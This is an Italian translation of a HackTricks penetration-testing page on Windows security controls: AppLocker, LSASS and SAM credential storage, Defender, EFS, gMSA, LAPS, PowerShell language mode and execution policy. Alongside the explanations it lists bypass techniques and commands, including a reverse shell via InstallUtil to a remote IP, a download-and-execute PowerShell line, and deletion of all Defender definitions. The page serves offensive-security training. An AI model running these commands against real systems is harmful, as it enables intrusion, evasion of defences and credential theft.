hacktricks/windows-hardening/authentication-credentials-uac-and-efs
2024-07-19 16:12:26 +00:00
..
README.md Translated ['pentesting-web/browser-extension-pentesting-methodology/REA 2024-07-19 16:12:26 +00:00
uac-user-account-control.md Translated ['pentesting-web/browser-extension-pentesting-methodology/REA 2024-07-19 16:12:26 +00:00

Controlli di Sicurezza di Windows

{% hint style="success" %} Impara e pratica il Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks
{% endhint %}

Usa Trickest per costruire e automatizzare flussi di lavoro alimentati dagli strumenti comunitari più avanzati al mondo.
Accedi Oggi:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Politica di AppLocker

Una whitelist di applicazioni è un elenco di applicazioni software o eseguibili approvati che sono autorizzati a essere presenti e a funzionare su un sistema. L'obiettivo è proteggere l'ambiente da malware dannoso e software non approvato che non si allinea con le specifiche esigenze aziendali di un'organizzazione.

AppLocker è la soluzione di whitelisting delle applicazioni di Microsoft e offre agli amministratori di sistema il controllo su quali applicazioni e file gli utenti possono eseguire. Fornisce un controllo granulare su eseguibili, script, file di installazione di Windows, DLL, app confezionate e installatori di app confezionate.
È comune per le organizzazioni bloccare cmd.exe e PowerShell.exe e l'accesso in scrittura a determinate directory, ma tutto questo può essere aggirato.

Controlla

Controlla quali file/estensioni sono nella blacklist/whitelist:

Get-ApplockerPolicy -Effective -xml

Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

$a = Get-ApplockerPolicy -effective
$a.rulecollections

Questo percorso del registro contiene le configurazioni e le politiche applicate da AppLocker, fornendo un modo per rivedere l'attuale insieme di regole applicate sul sistema:

  • HKLM\Software\Policies\Microsoft\Windows\SrpV2

Bypass

  • Cartelle scrivibili utili per bypassare la politica di AppLocker: Se AppLocker consente di eseguire qualsiasi cosa all'interno di C:\Windows\System32 o C:\Windows, ci sono cartelle scrivibili che puoi utilizzare per bypassare questo.
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\windows\tracing
  • I comuni binaries "LOLBAS's" possono essere utili per bypassare AppLocker.
  • Regole scritte male potrebbero anche essere bypassate
  • Ad esempio, <FilePathCondition Path="%OSDRIVE%*\allowed*"/>, puoi creare una cartella chiamata allowed ovunque e sarà consentita.
  • Le organizzazioni spesso si concentrano sul blocco dell'eseguibile %System32%\WindowsPowerShell\v1.0\powershell.exe, ma dimenticano le altre posizioni eseguibili di PowerShell come %SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe o PowerShell_ISE.exe.
  • L'applicazione delle DLL è molto raramente abilitata a causa del carico aggiuntivo che può mettere su un sistema e della quantità di test necessari per garantire che nulla si rompa. Quindi utilizzare DLL come backdoor aiuterà a bypassare AppLocker.
  • Puoi usare ReflectivePick o SharpPick per eseguire codice Powershell in qualsiasi processo e bypassare AppLocker. Per ulteriori informazioni controlla: https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode.

Archiviazione delle Credenziali

Security Accounts Manager (SAM)

Le credenziali locali sono presenti in questo file, le password sono hashate.

Local Security Authority (LSA) - LSASS

Le credenziali (hashate) sono salvate nella memoria di questo sottosistema per motivi di Single Sign-On.
LSA gestisce la politica di sicurezza locale (politica delle password, permessi degli utenti...), autenticazione, token di accesso...
LSA sarà colui che verificherà le credenziali fornite all'interno del file SAM (per un accesso locale) e parlerà con il controller di dominio per autenticare un utente di dominio.

Le credenziali sono salvate all'interno del processo LSASS: ticket Kerberos, hash NT e LM, password facilmente decrittabili.

Segreti LSA

LSA potrebbe salvare su disco alcune credenziali:

  • Password dell'account computer dell'Active Directory (controller di dominio irraggiungibile).
  • Password degli account dei servizi Windows
  • Password per attività pianificate
  • Altro (password delle applicazioni IIS...)

NTDS.dit

È il database dell'Active Directory. È presente solo nei Domain Controllers.

Defender

Microsoft Defender è un Antivirus disponibile in Windows 10 e Windows 11, e nelle versioni di Windows Server. Blocca strumenti comuni di pentesting come WinPEAS. Tuttavia, ci sono modi per bypassare queste protezioni.

Controllo

Per controllare lo stato di Defender puoi eseguire il cmdlet PS Get-MpComputerStatus (controlla il valore di RealTimeProtectionEnabled per sapere se è attivo):

PS C:\> Get-MpComputerStatus

[...]
AntispywareEnabled              : True
AntispywareSignatureAge         : 1
AntispywareSignatureLastUpdated : 12/6/2021 10:14:23 AM
AntispywareSignatureVersion     : 1.323.392.0
AntivirusEnabled                : True
[...]
NISEnabled                      : False
NISEngineVersion                : 0.0.0.0
[...]
RealTimeProtectionEnabled       : True
RealTimeScanDirection           : 0
PSComputerName                  :

Per enumerarlo potresti anche eseguire:

WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
wmic /namespace:\\root\securitycenter2 path antivirusproduct
sc query windefend

#Delete all rules of Defender (useful for machines without internet access)
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

Encrypted File System (EFS)

EFS protegge i file attraverso la crittografia, utilizzando una chiave simmetrica nota come File Encryption Key (FEK). Questa chiave è crittografata con la chiave pubblica dell'utente e memorizzata all'interno del $EFS flusso di dati alternativi del file crittografato. Quando è necessaria la decrittazione, viene utilizzata la corrispondente chiave privata del certificato digitale dell'utente per decrittografare la FEK dal flusso $EFS. Maggiori dettagli possono essere trovati qui.

Scenari di decrittazione senza iniziativa dell'utente includono:

  • Quando file o cartelle vengono spostati su un file system non EFS, come FAT32, vengono automaticamente decrittografati.
  • I file crittografati inviati attraverso la rete tramite il protocollo SMB/CIFS vengono decrittografati prima della trasmissione.

Questo metodo di crittografia consente un accesso trasparente ai file crittografati per il proprietario. Tuttavia, cambiare semplicemente la password del proprietario e accedere non permetterà la decrittazione.

Punti chiave:

  • EFS utilizza una FEK simmetrica, crittografata con la chiave pubblica dell'utente.
  • La decrittazione utilizza la chiave privata dell'utente per accedere alla FEK.
  • La decrittazione automatica avviene in determinate condizioni, come il copia su FAT32 o la trasmissione in rete.
  • I file crittografati sono accessibili al proprietario senza passaggi aggiuntivi.

Controlla le informazioni EFS

Controlla se un utente ha utilizzato questo servizio verificando se esiste questo percorso: C:\users\<username>\appdata\roaming\Microsoft\Protect

Controlla chi ha accesso al file usando cipher /c <file>
Puoi anche usare cipher /e e cipher /d all'interno di una cartella per crittografare e decrittografare tutti i file

Decrittazione dei file EFS

Essere Autorità di Sistema

Questo metodo richiede che l'utente vittima stia eseguendo un processo all'interno dell'host. Se è così, utilizzando una sessione meterpreter puoi impersonare il token del processo dell'utente (impersonate_token da incognito). Oppure potresti semplicemente migrate al processo dell'utente.

Conoscere la password dell'utente

{% embed url="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files" %}

Group Managed Service Accounts (gMSA)

Microsoft ha sviluppato Group Managed Service Accounts (gMSA) per semplificare la gestione degli account di servizio nelle infrastrutture IT. A differenza degli account di servizio tradizionali che spesso hanno l'impostazione "Password mai scaduta" abilitata, i gMSA offrono una soluzione più sicura e gestibile:

  • Gestione automatica delle password: i gMSA utilizzano una password complessa di 240 caratteri che cambia automaticamente in base alla politica del dominio o del computer. Questo processo è gestito dal Key Distribution Service (KDC) di Microsoft, eliminando la necessità di aggiornamenti manuali delle password.
  • Sicurezza migliorata: questi account sono immuni a blocchi e non possono essere utilizzati per accessi interattivi, migliorando la loro sicurezza.
  • Supporto per più host: i gMSA possono essere condivisi tra più host, rendendoli ideali per servizi in esecuzione su più server.
  • Capacità di attività pianificate: a differenza degli account di servizio gestiti, i gMSA supportano l'esecuzione di attività pianificate.
  • Gestione semplificata degli SPN: il sistema aggiorna automaticamente il Service Principal Name (SPN) quando ci sono modifiche ai dettagli sAMaccount del computer o al nome DNS, semplificando la gestione degli SPN.

Le password per i gMSA sono memorizzate nella proprietà LDAP msDS-ManagedPassword e vengono automaticamente reimpostate ogni 30 giorni dai Domain Controllers (DC). Questa password, un blob di dati crittografati noto come MSDS-MANAGEDPASSWORD_BLOB, può essere recuperata solo da amministratori autorizzati e dai server su cui sono installati i gMSA, garantendo un ambiente sicuro. Per accedere a queste informazioni, è necessaria una connessione sicura come LDAPS, oppure la connessione deve essere autenticata con 'Sealing & Secure'.

https://cube0x0.github.io/Relaying-for-gMSA/

Puoi leggere questa password con GMSAPasswordReader:

/GMSAPasswordReader --AccountName jkohler

Trova ulteriori informazioni in questo post

Inoltre, controlla questa pagina web su come eseguire un attacco di relay NTLM per leggere la password di gMSA.

LAPS

La Local Administrator Password Solution (LAPS), disponibile per il download da Microsoft, consente la gestione delle password degli amministratori locali. Queste password, che sono randomizzate, uniche e cambiate regolarmente, sono memorizzate centralmente in Active Directory. L'accesso a queste password è limitato tramite ACL a utenti autorizzati. Con permessi sufficienti concessi, è fornita la possibilità di leggere le password degli amministratori locali.

{% content-ref url="../active-directory-methodology/laps.md" %} laps.md {% endcontent-ref %}

PS Constrained Language Mode

PowerShell Constrained Language Mode blocca molte delle funzionalità necessarie per utilizzare PowerShell in modo efficace, come il blocco degli oggetti COM, consentendo solo tipi .NET approvati, flussi di lavoro basati su XAML, classi PowerShell e altro ancora.

Controlla

$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage

Bypass

#Easy bypass
Powershell -version 2

In Windows attuali, quel bypass non funzionerà, ma puoi usare PSByPassCLM.
Per compilarlo potresti aver bisogno di Aggiungere un Riferimento -> Sfoglia -> Sfoglia -> aggiungi C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll e cambiare il progetto a .Net4.5.

Bypass diretto:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe

Reverse shell:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe

Puoi usare ReflectivePick o SharpPick per eseguire codice Powershell in qualsiasi processo e bypassare la modalità vincolata. Per ulteriori informazioni, controlla: https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode.

Politica di Esecuzione PS

Per impostazione predefinita è impostata su riservata. I principali modi per bypassare questa politica:

 Just copy and paste inside the interactive PS console
 Read en Exec
Get-Content .runme.ps1 | PowerShell.exe -noprofile -
 Read and Exec
Get-Content .runme.ps1 | Invoke-Expression
 Use other execution policy
PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1
 Change users execution policy
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
 Change execution policy for this session
Set-ExecutionPolicy Bypass -Scope Process
 Download and execute:
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"
 Use command switch
Powershell -command "Write-Host 'My voice is my passport, verify me.'"
 Use EncodeCommand
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand

More can be found here

Security Support Provider Interface (SSPI)

È l'API che può essere utilizzata per autenticare gli utenti.

L'SSPI sarà responsabile della ricerca del protocollo adeguato per due macchine che vogliono comunicare. Il metodo preferito per questo è Kerberos. Poi l'SSPI negozierà quale protocollo di autenticazione verrà utilizzato, questi protocolli di autenticazione sono chiamati Security Support Provider (SSP), si trovano all'interno di ogni macchina Windows sotto forma di DLL e entrambe le macchine devono supportare lo stesso per poter comunicare.

Main SSPs

  • Kerberos: Il preferito
  • %windir%\Windows\System32\kerberos.dll
  • NTLMv1 e NTLMv2: Motivi di compatibilità
  • %windir%\Windows\System32\msv1_0.dll
  • Digest: Server web e LDAP, password sotto forma di hash MD5
  • %windir%\Windows\System32\Wdigest.dll
  • Schannel: SSL e TLS
  • %windir%\Windows\System32\Schannel.dll
  • Negotiate: Viene utilizzato per negoziare il protocollo da utilizzare (Kerberos o NTLM, con Kerberos come predefinito)
  • %windir%\Windows\System32\lsasrv.dll

La negoziazione potrebbe offrire diversi metodi o solo uno.

UAC - User Account Control

User Account Control (UAC) è una funzionalità che abilita un messaggio di consenso per attività elevate.

{% content-ref url="uac-user-account-control.md" %} uac-user-account-control.md {% endcontent-ref %}


Usa Trickest per costruire e automatizzare facilmente i flussi di lavoro alimentati dagli strumenti comunitari più avanzati al mondo.
Ottieni accesso oggi:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}


{% hint style="success" %} Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks
{% endhint %}